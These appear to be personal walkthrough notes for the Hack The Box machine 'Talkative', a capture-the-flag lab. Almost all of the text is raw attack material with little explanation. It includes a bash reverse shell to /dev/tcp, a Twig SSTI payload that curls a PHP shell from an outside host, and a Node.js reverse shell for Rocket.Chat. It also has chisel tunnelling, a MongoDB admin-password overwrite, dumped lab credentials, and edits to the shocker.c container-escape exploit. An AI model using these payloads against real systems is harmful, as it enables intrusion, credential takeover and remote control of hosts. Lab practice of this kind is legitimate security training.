talkative htb

#Port 8080 => RCE
system("echo 'bash -i >& /dev/tcp/10.10.14.122/4400 0>&1' > /tmp/null.sh;chmod +x /tmp/null.sh;bash /tmp/null.sh", intern = TRUE)

#from port 8080 :
{"A": {"labels": [[0, "Username", "Username", false], [1, "matt@talkative.htb", "matt@talkative.htb", false], [2, "janit@talkative.htb", "janit@talkative.htb", false], [3, "saul@talkative.htb", "saul@talkative.htb", false]]}, "B": {"labels": [[0, "Password", "Password", false], [1, "jeO09ufhWD<s", "jeO09ufhWD<s", false], [2, "bZ89h}V<S_DA", "bZ89h}V<S_DA", false], [3, ")SQWGm>9KHEA", ")SQWGm>9KHEA", false]]}, "C": {"labels": []}}


#for bolt SSTI
{{['curl --connect-timeout 5 http://10.10.14.153:8000/shell2.txt -o hex.php']|filter('system')}}



#for saul user locally !!
ssh saul@10.10.11.155
pass : jeO09ufhWD<s


#for tunnel connection => mongoDB
./chisel server -p 2030 --reverse
./chisel client 10.10.14.128:2030 R:27017:172.17.0.2:27017

#for update admin password
db.getCollection('users').update({username:"admin"}, {$set: {"services" :{"password":{"bcrypt":"$2a$10$n9CM8OgInDlwpvjLKLPML.eizXIzLlRtgCh3GRLafOdR9ldAUh/KG"}}}})


#for rocket chat RCE
const require = console.log.constructor('return process.mainModule.require')();
var net = require("net"), cp = require("child_process"), sh = cp.spawn("/bin/sh", []);
var client = new net.Socket();
client.connect(7700, "10.10.14.128", function(){
  client.pipe(sh.stdin);
  sh.stdout.pipe(client);
  sh.stderr.pipe(client);
});

#transfer a file over /dev/tcp
cat < /dev/tcp/IP/PORT > FileName
nc -lvnp 2030 < FileName


#root !!
1 - check linux capabilities
2 - decode it locally then I found => cap_dac_read_search
https://book.hacktricks.xyz/linux-hardening/privilege-escalation/linux-capabilities#cap_dac_read_search
https://medium.com/@fun_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3
https://man7.org/linux/man-pages/man2/open_by_handle_at.2.html
http://stealth.openwall.net/xSports/shocker.c
if you want expolit work edit this : if ((fd1 = open("/.dockerinit", O_RDONLY)) < 0) => if ((fd1 = open("/etc/hosts", O_RDONLY)) < 0)
then compite it locally and trnasfer it then run it